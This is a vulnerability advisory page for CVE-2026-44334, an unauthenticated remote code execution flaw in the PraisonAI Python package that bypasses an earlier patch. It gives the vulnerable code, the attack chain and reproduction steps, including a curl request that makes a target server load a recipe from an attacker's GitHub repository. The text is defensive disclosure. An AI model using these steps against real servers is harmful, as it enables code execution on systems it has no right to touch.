CVE-2026-44334: Praisonai Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-xcmw-grxf-wjhj
CVSS 8.4
CWE-94
Published
Advisory Summary

CVE-2026-44334 is a HIGH (CVSS 8.4) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Praisonai libraries in the PyPI ecosystem. The issue involves praisonai has unauthenticated rce via `tool_override.py` (cve-2026-40287 patch bypass). Remediation is available by upgrading affected packages to version 4.6.32.

CVE-2026-44334 at a Glance

CVE Identifier CVE-2026-44334
GHSA Identifier GHSA-xcmw-grxf-wjhj
Severity HIGH
CVSS v3.1 Base Score 8.4
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Praisonai
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-44334

To remediate this vulnerability, upgrade all affected Praisonai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.6.32
pip install praisonai>=4.6.32
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-44334, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of Praisonai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.32), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Praisonai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## TL;DR CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required. ## Patch coverage gap CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at: | File | Line | Gate | |---|---|---| | `praisonai/tool_resolver.py` | 77 | `if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":` | | `praisonai/api/call.py` | 80 | same | But the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched: ```python # tool_override.py - create_tool_registry_with_overrides() 332 cwd_tools_py = Path.cwd() / "tools.py" 333 if cwd_tools_py.exists(): 334 try: 335 tools = loader.load_from_file(str(cwd_tools_py)) # <-- exec_module 336 registry.update(tools) 337 except Exception: 338 pass 339 341 # 4. Template-local tools.py 342 if template_dir: 343 tools_py = Path(template_dir) / "tools.py" 344 if tools_py.exists(): 345 try: 346 tools = loader.load_from_file(str(tools_py)) # <-- exec_module 347 registry.update(tools) 348 except Exception: 349 pass ``` `load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution. ## Attack chain ``` HTTP POST /v1/recipes/run body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"} │ ▼ recipe/serve.py:483 run_recipe(request) ← auth=none default │ ▼ recipe/core.py:215 recipe.run(name, ...) │ ▼ recipe/core.py:686 _load_recipe(name) └─ ".." check only; absolute paths and URIs allowed │ ▼ templates/loader.py:94 TemplateLoader.load(uri) │ ▼ templates/security.py:130 is_source_allowed("github:*") └─ allow_any_github=True default → returns True │ ▼ templates/registry.py fetch repo from raw.githubusercontent.com → cache dir │ ▼ templates/security.py:215 validate_template_directory(cached.path) └─ .py is in allowed_extensions → tools.py kept │ ▼ recipe/core.py:887 _execute_recipe(recipe_config, ...) │ ▼ recipe/core.py:943 create_tool_registry_with_overrides( include_defaults=True, template_dir=recipe_config.path) │ ▼ templates/tool_override.py:341-349 load_from_file(template_dir/tools.py) │ ▼ templates/tool_override.py:94 spec.loader.exec_module(module) ← RCE ``` The tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction. ## Confirmed execution (2026-04-25, praisonai 4.6.31) ``` SERVER stdout (PID 43784): Uvicorn running on http://127.0.0.1:8765 127.0.0.1 - POST /v1/recipes/run HTTP/1.1 [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt 127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error Marker file: pid: 43784 ← matches server PID argv: ['server.py'] ← server process, not exploit ``` The 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent. ## Reproduction (local-path variant) Files under `pocs/praisonai-cve-2026-40287-bypass/`: - [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata - [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir) - [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`) - [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run` ```bash pip install 'praisonai[serve]==4.6.31' # Terminal 1 python server.py # Terminal 2 python exploit.py ``` Expected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_<timestamp>.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process. ## Reproduction (remote GitHub variant) ```bash # Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo) curl -X POST http://target:8765/v1/recipes/run \ -H 'Content-Type: application/json' \ -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}' ``` No filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.

CVE-2026-44334 Affected Praisonai Versions

1 component(s)
Fixed Versions:
4.6.32
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
≥ 4.5.139
< 4.6.32
4.6.32

References

Frequently Asked Questions

What is CVE-2026-44334?
CVE-2026-44334 is a security vulnerability in Praisonai involving PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass) under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Praisonai versions are affected?
Affected versions include releases prior to 4.6.32 across affected packages: praisonai.
What version fixes CVE-2026-44334?
Upgrading to 4.6.32 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.6.32. Upgrade your dependency to 4.6.32 or later.
What is the CVSS score of CVE-2026-44334?
CVE-2026-44334 has a CVSS v3.1 base score of 8.4 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-44334?
CVE-2026-44334 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check PyPI dependencies for CVE-2026-44334?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xcmw-grxf-wjhj",
  "modified" : "2026-05-12T13:33:21Z",
  "published" : "2026-05-06T22:08:58Z",
  "aliases" : [ "CVE-2026-44334" ],
  "summary" : "PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)",
  "details" : "## TL;DR\n\nCVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required.\n\n## Patch coverage gap\n\nCVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:\n\n| File | Line | Gate |\n|---|---|---|\n| `praisonai/tool_resolver.py` | 77 | `if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":` |\n| `praisonai/api/call.py` | 80 | same |\n\nBut the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched:\n\n```python\n# tool_override.py - create_tool_registry_with_overrides()\n332    cwd_tools_py = Path.cwd() / \"tools.py\"\n333    if cwd_tools_py.exists():\n334        try:\n335            tools = loader.load_from_file(str(cwd_tools_py))   # <-- exec_module\n336            registry.update(tools)\n337        except Exception:\n338            pass\n339\n341    # 4. Template-local tools.py\n342    if template_dir:\n343        tools_py = Path(template_dir) / \"tools.py\"\n344        if tools_py.exists():\n345            try:\n346                tools = loader.load_from_file(str(tools_py))   # <-- exec_module\n347                registry.update(tools)\n348            except Exception:\n349                pass\n```\n\n`load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.\n\n## Attack chain\n\n```\nHTTP POST /v1/recipes/run\n  body: {\"recipe\": \"<abs path>\" | \"github:<owner>/<repo>/<recipe>\"}\n        │\n        ▼\nrecipe/serve.py:483   run_recipe(request)              ← auth=none default\n        │\n        ▼\nrecipe/core.py:215    recipe.run(name, ...)\n        │\n        ▼\nrecipe/core.py:686    _load_recipe(name)\n                      └─ \"..\" check only; absolute paths and URIs allowed\n        │\n        ▼\ntemplates/loader.py:94    TemplateLoader.load(uri)\n        │\n        ▼\ntemplates/security.py:130 is_source_allowed(\"github:*\")\n                          └─ allow_any_github=True default → returns True\n        │\n        ▼\ntemplates/registry.py     fetch repo from raw.githubusercontent.com → cache dir\n        │\n        ▼\ntemplates/security.py:215 validate_template_directory(cached.path)\n                          └─ .py is in allowed_extensions → tools.py kept\n        │\n        ▼\nrecipe/core.py:887        _execute_recipe(recipe_config, ...)\n        │\n        ▼\nrecipe/core.py:943        create_tool_registry_with_overrides(\n                              include_defaults=True,\n                              template_dir=recipe_config.path)\n        │\n        ▼\ntemplates/tool_override.py:341-349   load_from_file(template_dir/tools.py)\n        │\n        ▼\ntemplates/tool_override.py:94        spec.loader.exec_module(module)   ← RCE\n```\n\nThe tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction.\n\n## Confirmed execution (2026-04-25, praisonai 4.6.31)\n\n```\nSERVER stdout (PID 43784):\n  Uvicorn running on http://127.0.0.1:8765\n  127.0.0.1 - POST /v1/recipes/run HTTP/1.1\n  [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt\n  127.0.0.1 - \"POST /v1/recipes/run\" 500 Internal Server Error\n\nMarker file:\n  pid: 43784            ← matches server PID\n  argv: ['server.py']   ← server process, not exploit\n```\n\nThe 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent.\n\n## Reproduction (local-path variant)\n\nFiles under `pocs/praisonai-cve-2026-40287-bypass/`:\n\n- [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata\n- [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir)\n- [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`)\n- [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run`\n\n```bash\npip install 'praisonai[serve]==4.6.31'\n\n# Terminal 1\npython server.py\n\n# Terminal 2\npython exploit.py\n```\n\nExpected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_<timestamp>.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.\n\n## Reproduction (remote GitHub variant)\n\n```bash\n# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)\n\ncurl -X POST http://target:8765/v1/recipes/run \\\n     -H 'Content-Type: application/json' \\\n     -d '{\"recipe\":\"github:<you>/poc-recipe/poc-recipe\"}'\n```\n\nNo filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.5.139"
      }, {
        "fixed" : "4.6.32"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.31"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44334"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-g985-wjh9-qxxc"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T22:08:58Z",
    "nvd_published_at" : "2026-05-08T14:16:46Z"
  }
}